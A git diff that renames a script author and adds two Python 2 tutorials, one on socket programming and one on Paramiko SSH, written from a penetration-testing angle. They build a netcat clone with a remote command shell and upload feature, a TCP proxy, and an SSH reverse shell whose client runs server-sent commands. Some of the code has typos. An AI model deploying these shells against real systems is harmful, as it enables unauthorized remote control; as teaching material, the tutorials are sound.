-1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import socket @@ -33,4 +33,4 @@ if __name__ == '__main__': text_to_send = '' text_recved = netcat(text_to_send)) - print text_recved[1] \ No newline at end of file + print text_recved[1] diff --git a/Network_and_802.11/socket/tcp_client.py b/Network_and_802.11/socket/tcp_client.py index e410333..2b8f106 100755 --- a/Network_and_802.11/socket/tcp_client.py +++ b/Network_and_802.11/socket/tcp_client.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import socket diff --git a/Network_and_802.11/socket/tcp_proxy.py b/Network_and_802.11/socket/tcp_proxy.py index 50cc68a..1fce02a 100755 --- a/Network_and_802.11/socket/tcp_proxy.py +++ b/Network_and_802.11/socket/tcp_proxy.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import socket @@ -154,4 +154,4 @@ def main(): server_loop(local_host, local_port, remote_host, remote_port, receive_first) if __name__ == '__main__': - main() \ No newline at end of file + main() diff --git a/Network_and_802.11/socket/tcp_server.py b/Network_and_802.11/socket/tcp_server.py index 3a14141..1482717 100755 --- a/Network_and_802.11/socket/tcp_server.py +++ b/Network_and_802.11/socket/tcp_server.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import socket diff --git a/Network_and_802.11/socket/udp_client.py b/Network_and_802.11/socket/udp_client.py index 73b55d0..890f08b 100755 --- a/Network_and_802.11/socket/udp_client.py +++ b/Network_and_802.11/socket/udp_client.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import socket diff --git a/Network_and_802.11/socket/udp_server.py b/Network_and_802.11/socket/udp_server.py index 7543ad8..46f8e2d 100755 --- a/Network_and_802.11/socket/udp_server.py +++ b/Network_and_802.11/socket/udp_server.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import socket @@ -19,4 +19,4 @@ def udp_server(): print data if __name__ == '__main__': - udp_server() \ No newline at end of file + udp_server() diff --git a/Network_and_802.11/socket_scripting.md b/Network_and_802.11/socket_scripting.md new file mode 100644 index 0000000..d6c375c --- /dev/null +++ b/Network_and_802.11/socket_scripting.md @@ -0,0 +1,732 @@ +#Python's Socket Module + +Python's [socket](https://docs.python.org/2/library/socket.html) module contains all the tools to write [TCP](http://en.wikipedia.org/wiki/Transmission_Control_Protocol)/[UDP](http://en.wikipedia.org/wiki/User_Datagram_Protocol) clients and servers, including [raw sockets](http://en.wikipedia.org/wiki/Raw_socket). + + +## A TCP Client + +Let's start from the beginning. Whenever you want to create a TCP connection with the **socket** module, you do two things: create a socket object and then connect to a host in some port: + +```python +client = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) +client.connect(( HOST, PORT )) +``` + +The **AF_INET** parameter is used to define the standard IPv4 address (other options are *AF_UNIX* and *AF_INET6*). The **SOCK_STREAM** parameters indicate it is a **TCP** connection (other options are *SOCK_DGRAM*, *SOCK_RAW*, *SOCK_RDM*, *SOCK_SEQPACKET*). + +All right, so the next thing you want to do is to send and receive data using socket's **send** and **recv** methods. And this should be good enough for a first script! Let's put everything together to create our TCP client: + + +```python +import socket + +HOST = 'www.google.com' +PORT = 80 +DATA = 'GET / HTTP/1.1\r\nHost: google.com\r\n\r\n' + +def tcp_client(): + client = socket.socket( socket.AF_INET, socket.SOCK_STREAM) + client.connect(( HOST, PORT )) + client.send(DATA) + response = client.recv(4096) + print response + +if __name__ == '__main__': + tcp_client() +``` + +The simplicity of this script relies on making the following assumptions about the sockets: + +* our *connection will always succeed*, +* the *server is always waiting for us to send data first* (as opposed to servers that expect to send data and then wait for response), and +* the server will always send us data back in a *short time*. + +Let's run this script (notice that we get *Moved Permanently* because Google issues HTTPS connections): + +```bash +$ python tcp_client.py +HTTP/1.1 301 Moved Permanently +Location: http://www.google.com/ +Content-Type: text/html; charset=UTF-8 +Date: Mon, 15 Dec 2014 16:52:46 GMT +Expires: Wed, 14 Jan 2015 16:52:46 GMT +Cache-Control: public, max-age=2592000 +Server: gws +Content-Length: 219 +X-XSS-Protection: 1; mode=block +X-Frame-Options: SAMEORIGIN +Alternate-Protocol: 80:quic,p=0.02 + +<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> +<TITLE>301 Moved</TITLE></HEAD><BODY> +<H1>301 Moved</H1> +The document has moved +<A HREF="http://www.google.com/">here</A>. +</BODY></HTML> +``` + +Simple like that. + +---------- +## A TCP Server + +Let's move on and write a *multi-threaded* TCP server. For this, we will use Python's [threading](https://docs.python.org/2/library/threading.html) module. + +First, we define the IP address and port that we want the server to listen on. We then define a **handle_client** function that starts a thread to handle client connections. The function takes the client socket and gets data from the client, sending an **ACK** message. + +The main function for our server, **tcp_server**, creates a server socket and starts listening on the port and IP (we set the maximum backlog of connections to 5). Then it starts a loop waiting for when a client connects. When this happens, it receives the client socket (the client variables go to the **addr** variable). + +At this point, the program creates a thread object for the function **handle_client** which we mentioned above: + +```python +import socket +import threading + +BIND_IP = '0.0.0.0' +BIND_PORT = 9090 + +def handle_client(client_socket): + request = client_socket.recv(1024) + print "[*] Received: " + request + client_socket.send('ACK') + client_socket.close() + +def tcp_server(): + server = socket.socket( socket.AF_INET, socket.SOCK_STREAM) + server.bind(( BIND_IP, BIND_PORT)) + server.listen(5) + print"[*] Listening on %s:%d" % (BIND_IP, BIND_PORT) + + while 1: + client, addr = server.accept() + print "[*] Accepted connection from: %s:%d" %(addr[0], addr[1]) + client_handler = threading.Thread(target=handle_client, args=(client,)) + client_handler.start() + +if __name__ == '__main__': + tcp_server() +``` + +We can run this script in one terminal and the client script (like the one we saw before) in a second terminal. Running the server: +```bash +$ python tcp_server.py +[*] Listening on 0.0.0.0:9090 +``` + +Running the client script (we changed it to connect at 127.0.0.1:9090): +```bash +$ python tcp_client.py +ACK +``` + +Now, back to the server terminal, we successfully see the established connection: + +```bash +$ python tcp_server.py +[*] Listening on 0.0.0.0:9090 +[*] Accepted connection from: 127.0.0.1:44864 +[*] Received: GET / HTTP/1.1 +``` + +Awesome! + + + +---------- +## A UDP Client + +UDP is an alternative protocol to TCP. Like TCP, it is used for packet transfer from one host to another. Unlike TCP, it is a *connectionless* and *non-stream oriented protocol*. This means that a UDP server receives incoming packets from any host without establishing a reliable pipe type of connection. + +We can make a few changes in the previous script to create a UDP client connection: + +* we use **SOCK_DGRAM** instead of **SOCK_STREAM**, +* because UDP is a connectionless protocol, we don't need to establish a connection beforehand, and +* we use **sendto** and **recvfrom** instead of **send** and **recv**. + +```python +import socket + +HOST = '127.0.0.1' +PORT = 9000 +DATA = 'AAAAAAAAAA' + +def udp_client(): + client = socket.socket( socket.AF_INET, socket.SOCK_DGRAM) + client.sendto(DATA, ( HOST, PORT )) + data, addr = client.recvfrom(4096) + print data, adr + +if __name__ == '__main__': + udp_client() +``` + +----- + +## A UDP Server + +Below is an example of a very simple UDP server. Notice that there are no **listen** or **accept**: + + +```python +import socket + +BIND_IP = '0.0.0.0' +BIND_PORT = 9000 + +def udp_server(): + server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + server.bind(( BIND_IP, BIND_PORT)) + print "Waiting on port: " + str(BIND_PORT) + + while 1: + data, addr = server.recvfrom(1024) + print data + +if __name__ == '__main__': + udp_server() +``` + +You can test it by running the server in one terminal and the client in another. It works and it's fun! + +--------- +## A Very Simple Netcat Client + +Sometimes when you are penetrating a system, you wish you have [netcat](http://netcat.sourceforge.net/), which might be not installed. However, if you have Python, you can create a netcat network client and server. + +The following script is the simplest netcat client setup one can have, extended from our TCP client script to support a loop. + +In addition, now we use the **sendall** method. Unlike **send**, it will continue to send data until either all data has been sent or an error occurs (None is returned on success). + +We also use **close** to release the resource. This does not necessarily close the connection immediately, so we use **shutdown** to close the connection in a timely fashion: + + +```python +import socket + +PORT = 12345 +HOSTNAME = '54.209.5.48' + +def netcat(text_to_send): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(( HOSTNAME, PORT )) + s.sendall(text_to_send) + s.shutdown(socket.SHUT_WR) + + rec_data = [] + while 1: + data = s.recv(1024) + if not data: + break + rec_data.append(data) + + s.close() + return rec_data + +if __name__ == '__main__': + text_to_send = '' + text_recved = netcat( text_to_send) + print text_recved[1] +``` + + + + +--------- +## A Complete Netcat Client and Server + + +Let's extend our previous example to write a full program for a netcat server and client. + +For this task we are going to use two special Python modules: [getopt](https://docs.python.org/2/library/getopt.html), which is a parser for command-line options (familiar to users of the C getopt()), and [subprocess](https://docs.python.org/2/library/subprocess.html), which allows you to spawn new processes. + + +### The Usage Menu +The first function we write is **usage**, with the options we want for our tool: + +```python +def usage(): + print "Usage: netcat_awesome.py -t <HOST> -p <PORT>" + print " -l --listen listen on HOST:PORT" + print " -e --execute=file execute the given file" + print " -c --command initialize a command shell" + print " -u --upload=destination upload file and write to destination" + print + print "Examples:" + print "netcat_awesome.py -t localhost -p 5000 -l -c" + print "netcat_awesome.py -t localhost -p 5000 -l -u=example.exe" + print "netcat_awesome.py -t localhost -p 5000 -l -e='ls'" + print "echo 'AAAAAA' | ./netcat_awesome.py -t localhost -p 5000" + sys.exit(0) +``` + +## Parsing Arguments in the Main Function +Now, before we dive in each specific functions, let's see what the **main** function does. First, it reads the arguments and parses them using **getopt**. Then, it processes them. Finally, the program decides if it is a client or a server, with the constant **LISTEN**: + +```python +import socket +import sys +import getopt +import threading +import subprocess + +LISTEN = False +COMMAND = False +UPLOAD = False +EXECUTE = '' +TARGET = '' +UP_DEST = '' +PORT = 0 + +def main(): + global LISTEN + global PORT + global EXECUTE + global COMMAND + global UP_DEST + global TARGET + + if not len(sys.argv[1:]): + usage() + + try: + opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu", \ + ["help", "LISTEN", "EXECUTE", "TARGET", "PORT", "COMMAND", "UPLOAD"]) + except getopt.GetoptError as err: + print str(err) + usage() + + for o, a in opts: + if o in ('-h', '--help'): + usage() + elif o in ('-l', '--listen'): + LISTEN = True + elif o in ('-e', '--execute'): + EXECUTE = a + elif o in ('-c', '--commandshell'): + COMMAND = True + elif o in ('-u', '--upload'): + UP_DEST = a + elif o in ('-t', '--target'): + TARGET = a + elif o in ('-p', '--port'): + PORT = int(a) + else: + assert False, "Unhandled option" + + # NETCAT client + if not LISTEN and len(TARGET) and PORT > 0: + buffer = sys.stdin.read() + client_sender(buffer) + + # NETCAT server + if LISTEN: + if not len(TARGET): + TARGET = '0.0.0.0' + server_loop() + +if __name__ == '__main__': + main() +``` + + +### The Client Function +The **client_sender** function is very similar to the netcat client snippet we have seen above. It creates a socket object and then it goes to a loop to send/receive data: + +```python +def client_sender(buffer): + client = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) + + try: + client.connect(( TARGET, PORT )) + + # test to see if received any data + if len(buffer): + client.send(buffer) + + while True: + # wait for data + recv_len = 1 + response = '' + + while recv_len: + data = client.recv(4096) + recv_len = len(data) + response += data + if recv_len < 4096: + break + print response + + # wait for more input until there is no more data + buffer = raw_input('') + buffer += '\n' + + client.send(buffer) + + except: + print '[*] Exception. Exiting.' + client.close() +``` + +### The Server Functions +Now, let's take a look into the **server_loop** function, which is very similar to the TCP server script we saw before: + +```python +def server_loop(): + server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) + server.bind(( TARGET, PORT )) + server.listen(5) + + while True: + client_socket, addr = server.accept() + client_thread = threading.Thread( target =client_handler, \ + args=(client_socket,)) + client_thread.start() +``` + +The **threading** function calls **client_handler** which will either upload a file or execute a command (in a particular shell named *NETCAT*): +```python + +def client_handler(client_socket): + global UPLOAD + global EXECUTE + global COMMAND + + # check for upload + if len(UP_DEST): + file_buf = '' + + # keep reading data until no more data is available + while 1: + data = client_socket.recv(1024) + if data: + file_buffer += data + else: + break + + # try to write the bytes (wb for binary mode) + try: + with open(UP_DEST, 'wb') as f: + f.write(file_buffer) + client_socket.send('File saved to %s\r\n' % UP_DEST) + except: + client_socket.send('Failed to save file to %s\r\n' % UP_DEST) + + # Check for command execution: + if len(EXECUTE): + output = run_command(EXECUTE) + client_socket.send(output) + + # Go into a loop if a command shell was requested + if COMMAND: + while True: + # show a prompt: + client_socket.send('NETCAT: ') + cmd_buffer = '' + + # scans for a newline character to determine when to process a command + while '\n' not in cmd_buffer: + cmd_buffer += client_socket.recv(1024) + + # send back the command output + response = run_command(cmd_buffer) + client_socket.send(response) +``` + +Observe the two last lines above. The program calls the function **run_command** which use the **subprocess** library to allow a process-creation interface. This gives a number of ways to start and interact with client programs: + +```python +def run_command(command): + command = command.rstrip() + print command + try: + output = subprocess.check_output(command, stderr=subprocess.STDOUT, \ + shell=True) + except: + output = "Failed to execute command.\r\n" + return output +``` + +### Firing Up a Server and a Client +Now we can put everything together and run the script as a server in a terminal and as a client in another. Running as a server: + +```bash +$ netcat_awesome.py -l -p 9000 -c +``` + +And as a client (to get the shell, press CTRL+D for EOF): + +```bash +$ python socket/netcat_awesome.py -t localhost -p 9000 +NETCAT: +ls +crack_linksys.py +netcat_awesome.py +netcat_simple.py +reading_socket.py +tcp_client.py +tcp_server.py +udp_client.py +NETCAT: +``` + +### The Good 'n' Old Request + +Additionally, we can use our client to send out requests: + +```bash +$ echo -ne "GET / HTTP/1.1\nHost: www.google.com\r\n\r\n" | python socket/netcat_awesome.py -t www.google.com -p 80 +HTTP/1.1 200 OK +Date: Tue, 16 Dec 2014 21:04:27 GMT +Expires: -1 +Cache-Control: private, max-age=0 +Content-Type: text/html; charset=ISO-8859-1 +Set-Cookie: PREF=ID=56f21d7bf67d66e0:FF=0:TM=1418763867:LM=1418763867:S=cI2xRwXGjb6bGx1u; expires=Thu, 15-Dec-2016 21:04:27 GMT; path=/; domain=.google.com +Set-Cookie: NID=67=ZGlY0-8CjkGDtTz4WwR7fEHOXGw-VvdI9f92oJKdelRgCxllAXoWfCC5vuQ5lJRFZIwghNRSxYbxKC0Z7ve132WTeBHOCHFB47Ic14ke1wdYGzevz8qFDR80fpiqHwMf; expires=Wed, 17-Jun-2015 21:04:27 GMT; path=/; domain=.google.com; HttpOnly +P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info." +Server: gws +X-XSS-Protection: 1; mode=block +X-Frame-Options: SAMEORIGIN +Alternate-Protocol: 80:quic,p=0.02 +Transfer-Encoding: chunked +(...) +``` + +Cool, huh? + +------ + +## A TCP Proxy + +A TCP proxy can be very useful for forwarding traffic and when assessing network-based software (for example, when you cannot run [Wireshark](http://https://singularity-sh.vercel.app/wiresharking-for-fun-or-profit.html), or you cannot load drivers or tools in the machine you are exploiting). + +To create a proxy we need to verify if we need to *first initiate a connection* to the remote side. This will request data before going into our main loop, and some server daemons expect you to do this first (for instance, FTP servers send a banner first). We call this information **receive_first**. + + +### The Main Function +So let us start with our **main** function. First, we define the usage, which should have four more arguments together with **receive_first**. Then we check these arguments to variables and start a listening socket: + +```python +import socket +import threading +import sys + +def main(): + if len(sys.argv[1:]) != 5: + print "Usage: ./proxy.py <localhost> <localport> <remotehost> <remoteport> <receive_first>" + print "Example: ./proxy.py 127.0.0.1 9000 10.12.122.1 9999 True" + sys.exit() + + local_host = sys.argv[1] + local_port = int(sys.argv[2]) + remote_host = sys.argv[3] + remote_port = int(sys.argv[4]) + + if sys.argv[5] == 'True': + receive_first = True + else: + receive_first = False + + server_loop(local_host, local_port, remote_host, remote_port, receive_first) +``` + + +### The Server Loop Function + +Like before we start creating a socket and binding this to a port and a host. Then we start a loop that accepts incoming connections and spawns a thread to the new connection: + +```python +def server_loop(local_host, local_port, remote_host, remote_port, receive_first): + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + server.bind(( local_host, local_port)) + except: + print "[!!] Failed to listen on %s:%d" % (local_host, local_port) + sys.exit() + + print "[*] Listening on %s:%d" % (local_host, local_port) + server.listen(5) + + while 1: + client_socket, addr = server.accept() + print "[==>] Received incoming connection from %s:%d" %(addr[0], addr[1]) + + # start a thread to talk to the remote host + proxy = threading.Thread(target=proxy_handler, \ + args=(client_socket, remote_host, remote_port, receive_first)) + proxy.start() +``` + +### The Proxy Handler Functions + +In the last two lines of the above snippet, the program spawns a thread for the function **proxy_handler** which we show below. This function creates a TCP socket and connects to the remote host and port. It then checks for the **receive_first** parameter. Finally, it goes to a loop where it: + +1. reads from localhost (with the function **receive_from**), +2. processes (with the function **hexdump**), +3. sends to a remote host (with the function **response_handler** and **send**), +4. reads from a remote host (with the function **receive_from**), +5. processes (with the function **hexdump**), and +6. sends to localhost (with the function **response_handler** and **send**). + +This keeps going until the loop is stopped, which happens when both local and remote buffers are empty. Let's take a look: + +```python +def proxy_handler(client_socket, remote_host, remote_port, receive_first): + remote_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM) + remote_socket.connect(( remote_host, remote_port )) + + if receive_first: + remote_buffer = receive_from(remote_socket) + hexdump(remote_buffer) + remote_buffer = response_handler(remote_buffer) + + # if we have data to send to client, send it: + if len(remote_buffer): + print "[<==] Sending %d bytes to localhost." %len(remote_buffer) + client_socket.send(remote_buffer) + + while 1: + local_buffer = receive_from(client_socket) + if len(local_buffer): + print "[==>] Received %d bytes from localhost." % len(local_buffer) + hexdump(local_buffer) + local_buffer = request_handler(local_buffer) + remote_socket.send(local_buffer) + print "[==>] Sent to remote." + + remote_buffer = receive_from(remote_socket) + if len(remote_buffer): + print "[==>] Received %d bytes from remote." % len(remote_buffer) + hexdump(remote_buffer) + remote_buffer = response_handler(remote_buffer) + client_socket.send(remote_buffer) + print "[==>] Sent to localhost." + + if not len(local_buffer) or not len(remote_buffer): + client_socket.close() + remote_socket.close() + print "[*] No more data. Closing connections" + break +``` + + +The **receive_from** function takes a socket object and performs the receive, dumping the contents of the packet: + +```python +def receive_from(connection): + buffer = '' + connection.settimeout(2) + try: + while True: + data = connection.recv(4096) + if not data: + break + buffer += data + except: + pass + return buffer +``` + +The **response_handler** function is used to modify the packet contents from the inbound traffic (for example, to perform fuzzing, test for authentication, etc). The function **request_handler** does the same for outbound traffic: + +```python +def request_handler(buffer): + # perform packet modifications + buffer += ' Yaeah!' + return buffer + +def response_handler(buffer): + # perform packet modifications + return buffer +``` + + +Finally, the function **hexdump** outputs the packet details with hexadecimal and ASCII characters: + +```python +def hexdump(src, length=16): + result = [] + digists = 4 if isinstance(src, unicode) else 2 + for i in range(len(src), lenght): + s = src[i:i+length] + hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s]) + text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) + result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text)) +``` + + + +### Firing Up our Proxy + +Now we need to run our script with some server. For example, for an FTP server at the standard port 21: +```sh +$ sudo ./tcp_proxy.py localhost 21 ftp.target 21 True +[*] Listening on localhost:21 +(...) +``` + + + + +--- +## Extra Stuff: The socket Object Methods + +Additionally, let's take a quick look to all the methods available with the **socket** object from the **socket** module. I think it's useful to have an idea of this list: + +* **socket.accept()**: Accept a connection. + +* **socket.bind(address)**: Bind the socket to address. + +* **socket.close()**: Close the socket. + +* **socket.fileno()**: Return the socket's file descriptor. + +* **socket.getpeername()**: Return the remote address to which the socket is connected. + +* **socket.getsockname()**: Return the socket's own address. + +* **socket.getsockopt(level, optname[, buflen])**: Return the value of the given socket option. + +* **socket.listen(backlog)**: Listen for connections made to the socket. The backlog argument specifies the maximum number of queued connections. + +* **socket.makefile([mode[, bufsize]])**: Return a file object associated with the socket. + +* **socket.recv(bufsize[, flags])**: Receive data from the socket. + +* **socket.recvfrom(bufsize[, flags])**: Receive data from the socket. + +* **socket.recv_into(buffer[, nbytes[, flags]])**: Receive up to nbytes bytes from the socket, storing the data into a buffer rather than creating a new string. + +* **socket.send(string[, flags])**: Send data to the socket. + +* **socket.sendall(string[, flags])**: Send data to the socket. + +* **socket.sendto(string, address)**: Send data to the socket. + +* **socket.setblocking(flag)**: Set blocking or non-blocking mode of the socket. + +* **socket.settimeout(value)**: Set a timeout on blocking socket operations. + +* **socket.gettimeout()**: Return the timeout in seconds associated with socket operations, or None if no timeout is set. + +* **socket.setsockopt(level, optname, value)**: Set the value of the given socket option. + +* **socket.shutdown(how)**: Shut down one or both halves of the connection. + +* **socket.family**: The socket family. + +* **socket.type**: The socket type. + +* **socket.proto**: The socket protocol. + + + +## Further References: + +- [Python's Socket Documentation](https://docs.python.org/2/library/socket.html) +- [Black Hat Python](http://www.nostarch.com/blackhatpython). +- [My Gray hat repo](https://github.com/go-outside-labs/My-Gray-Hacker-Resources). +- [A TCP Packet Injection tool](https://github.com/OffensivePython/Pinject/blob/master/pinject.py). +- [An asynchronous HTTP Proxy](https://github.com/OffensivePython/PyProxy/blob/master/PyProxy.py). +- [A network sniffer at the Network Layer](https://github.com/OffensivePython/Sniffy/blob/master/Sniffy.py). +- [A Guide to Network Programming in C++](http://beej.us/guide/bgnet/output/html/multipage/index.html). diff --git a/Network_and_802.11/ssh_scripting.md b/Network_and_802.11/ssh_scripting.md new file mode 100644 index 0000000..b92ead1 --- /dev/null +++ b/Network_and_802.11/ssh_scripting.md @@ -0,0 +1,365 @@ +# Python's Paramiko Module and SSH scripting + + +**Paramiko** uses [PyCrypto](https://www.dlitz.net/software/pycrypto/) to give us access to the [SSH2 protocol](http://en.wikipedia.org/wiki/SSH2), and it has a flexible and easy to use API. + +## A Simple SSH Client + +The first program we are going to write is an SSH client that makes a connection to some available SSH server, and then runs a single command that we send to it. + +But before we start, make sure you have **paramiko** installed in our environment: + +```sh +$ sudo pip install paramiko +``` + +### Writing the SSH Client Script +Now we are ready to create our script. We start with a **usage** function. Since **paramiko** supports authentication with both a password and/or an identity file (a key), our usage function shows how to send these arguments when we run the script (plus the port, username, and the command we want to run): + +```python +def usage(): + print "Usage: ssh_client.py <IP> -p <PORT> -u <USER> -c <COMMAND> -a <PASSWORD> -k <KEY> -c <COMMAND>" + print " -a password authentication" + print " -i identity file location" + print " -c command to be issued" + print " -p specify the port" + print " -u specify the username" + print + print "Examples:" + print "ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires -c pwd" + sys.exit() +``` + +Moving to the **main** function, we are going to use **getopt** module to parse the arguments. That's basically what the main function does: parse the arguments, sending them to the **ssh_client** function: + +```python +import paramiko +import sys +import getopt + +def main(): + if not len(sys.argv[1:]): + usage() + + IP = '0.0.0.0' + USER = '' + PASSWORD = '' + KEY = '' + COMMAND = '' + PORT = 0 + + try: + opts = getopt.getopt(sys.argv[2:],"p:u:a:i:c:", \ + ["PORT", "USER", "PASSWORD", "KEY", "COMMAND"])[0] + except getopt.GetoptError as err: + print str(err) + usage() + + IP = sys.argv[1] + print "[*] Initializing connection to " + IP + + # Handle the options and arguments + for t in opts: + if t[0] in ('-a'): + PASSWORD = t[1] + elif t[0] in ('-i'): + KEY = t[1] + elif t[0] in ('-c'): + COMMAND = t[1] + elif t[0] in ('-p'): + PORT = int(t[1]) + elif t[0] in ('-u'): + USER = t[1] + else: + print "This option does not exist!" + usage() + if USER: + print "[*] User set to " + USER + if PORT: + print "[*] The port to be used is %d. " % PORT + if PASSWORD: + print "[*] A password with length %d was submitted. " %len(PASSWORD) + if KEY: + print "[*] The key at %s will be used." % KEY + if COMMAND: + print "[*] Executing the command '%s' in the host..." % COMMAND + else: + print "You need to specify the command to the host." + usage() + + # start the client + ssh_client(IP, PORT, USER, PASSWORD, KEY, COMMAND) + +if __name__ == '__main__': + main() +``` + +The magic happens in the **ssh_client** function, which performs the following steps: + +1. Creates a paramiko ssh client object. +2. Checks if the key variable is not empty, and in this case, loads it. If the key is not found, the program sets the policy to accept the SSH key for the SSH server (if we don't do this, an exception is raised saying that the server is not found in known_hosts). +3. Makes the connection and creates a session. +4. Checks whether this section is active and runs the command we sent. + +Let's see how this works in the code: + +```python +def ssh_client(ip, port, user, passwd, key, command): + client = paramiko.SSHClient() + + if key: + client.load_host_keys(key) + else: + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + client.connect(ip, port=port, username=user, password=passwd) + ssh_session = client.get_transport().open_session() + + if ssh_session.active: + ssh_session.exec_command(command) + print + print ssh_session.recv(4096) +``` + +Easy, huh? + +### Running the Script + +We are ready to run our script. If we use the example in the usage function (and supposing the account exists in that host), we will see the following: + +```sh +$ ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires -c pwd +[*] Initializing connection to 129.49.76.26 +[*] User set to buffy +[*] The port to be used is 22. +[*] A password with length 12 was submitted. +[*] Executing the command 'pwd' in the host... + +/home/buffy. +``` + +----- + +## A SSH Server to Reverse a Client Shell + +What if we also control the SSH server and we are able to send commands to our SSH client? This is exactly what we are going to do now: we are going to write a **class** for this server (with a little help of the **socket** module) and then we will be able to **reverse the shell**! + + +As a note, this script is based in some of the [paramiko demos](https://github.com/paramiko/paramiko/blob/master/demo) and we specifically use the key from their demo files ([download here](https://github.com/paramiko/paramiko/blob/master/demos/test_rsa.key)). + + +### The SSH Server + +In our server script, we first create a class **Server** that issues a new thread event, checking whether the session is valid, and performing authentication. Notice that for simplicity we are hard-coding the values for username, password and host key, which is never a good practice: + +```python +HOST_KEY = paramiko.RSAKey(filename='test_rsa.key') +USERNAME = 'buffy' +PASSWORD = 'killvampires' + +class Server(paramiko.ServerInterface): + def __init__(self): + self.event = threading.Event() + def check_channel_request(self, kind, chanid): + if kind == 'session': + return paramiko.OPEN_SUCCEEDED + return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED + def check_auth_password(self, username, password): + if (username == USERNAME) and (password == PASSWORD): + return paramiko.AUTH_SUCCESSFUL + return paramiko.AUTH_FAILED +``` + +Now, let's take a look at the **main** function, which does the following: + +1. Creates a socket object to bind the host and port, so it can listen for incoming connections. +2. Once a connection is established (the client tried to connect to the server and the socket accepted the connection), it creates a **paramiko** [Transport](http://docs.paramiko.org/en/1.15/api/transport.html) object for this socket. In paramiko there are two main communication methods: *Transport*, which makes and maintains the encrypted connection, and *Channel*, which is like a socket for sending/receiving data over the encrypted session (the other three are Client, Message, and Packetizer). +3. The program instantiates a **Server** object and starts the paramiko session with it. +4. Authentication is attempted. If it is successful, we get a **ClientConnected** message. +5. The server starts a loop where it will keep getting input commands from the user and issuing it in the client. This is our reversed shell! + +```python +import paramiko +import getopt +import threading +import sys +import socket + +def main(): + if not len(sys.argv[1:]): + print "Usage: ssh_server.py <SERVER> <PORT>" + sys.exit(0) + + # creating a socket object + server = sys.argv[1] + ssh_port = int(sys.argv[2]) + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind((server, ssh_port)) + sock.listen(100) + print "[+] Listening for connection ..." + client, addr = sock.accept() + except Exception, e: + print "[-] Connection Failed: " + str(e) + sys.exit(1) + print "[+] Connection Established!" + + # creating a paramiko object + try: + Session = paramiko.Transport(client) + Session.add_server_key(HOST_KEY) + paramiko.util.log_to_file("filename.log") + server = Server() + try: + Session.start_server(server=server) + except paramiko.SSHException, x: + print '[-] SSH negotiation failed.' + chan = Session.accept(10) + print '[+] Authenticated!' + chan.send("Welcome to Buffy's SSH") + while 1: + try: + command = raw_input("Enter command: ").strip('\n') + if command != 'exit': + chan.send(command) + print chan.recv(1024) + '\n' + else: + chan.send('exit') + print '[*] Exiting ...' + session.close() + raise Exception('exit') + except KeyboardInterrupt: + session.close() + + except Exception, e: + print "[-] Caught exception: " + str(e) + try: + session.close() + except: + pass + sys.exit(1) + +if __name__ == '__main__': + main() +``` + + + +### The SSH Client + +The last piece for our reversed shell is to make the SSH client to be able to receive commands from the server. + +We are going to adapt the previous client script to receive these commands. All we need to do is to add a loop inside the session: + +```python +import paramiko +import sys +import getopt +import subprocess + +def usage(): + print "Usage: ssh_client.py <IP> -p <PORT> -u <USER> -c <COMMAND> -a <PASSWORD>" + print " -a password authentication" + print " -p specify the port" + print " -u specify the username" + print + print "Examples:" + print "ssh_client.py localhost -u buffy -p 22 -a killvampires" + sys.exit() + +def ssh_client(ip, port, user, passwd): + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect(ip, port=port, username=user, password=passwd) + ssh_session = client.get_transport().open_session() + if ssh_session.active: + print ssh_session.recv(1024) + while 1: + command = ssh_session.recv(1024) + try: + cmd_output = subprocess.check_output(command, shell=True) + ssh_session.send(cmd_output) + except Exception, e: + ssh_session.send(str(e)) + client.close() + +def main(): + if not len(sys.argv[1:]): + usage() + IP = '0.0.0.0' + USER = '' + PASSWORD = '' + PORT = 0 + try: + opts = getopt.getopt(sys.argv[2:],"p:u:a:", \ + ["PORT", "USER", "PASSWORD"])[0] + except getopt.GetoptError as err: + print str(err) + usage() + IP = sys.argv[1] + print "[*] Initializing connection to " + IP + for t in opts: + if t[0] in ('-a'): + PASSWORD = t[1] + elif t[0] in ('-p'): + PORT = int(t[1]) + elif t[0] in ('-u'): + USER = t[1] + else: + print "This option does not exist!" + usage() + if USER: + print "[*] User set to " + USER + if PORT: + print "[*] The port to be used is %d. " % PORT + if PASSWORD: + print "[*] A password with length %d was submitted. " %len(PASSWORD) + ssh_client(IP, PORT, USER, PASSWORD) + +if __name__ == '__main__': + main() +``` + +### Running both Scripts +Let's run each script in a different terminal. First, the server: +```bash +$ ssh_server.py localhost 22 +[+] Listening for connection ... +``` + +Then the client: +```sh +$ ssh_client_reverse.py localhost -p 22 -u buffy -a killvampires +[*] Initializing connection to localhost +[*] User set to buffy +[*] The port to be used is 22. +[*] A password with length 12 was submitted. +Welcome to Buffy's SSH +``` + +Now we can send any command from the server side to run in the client: we have a reversed shell! + +```sh 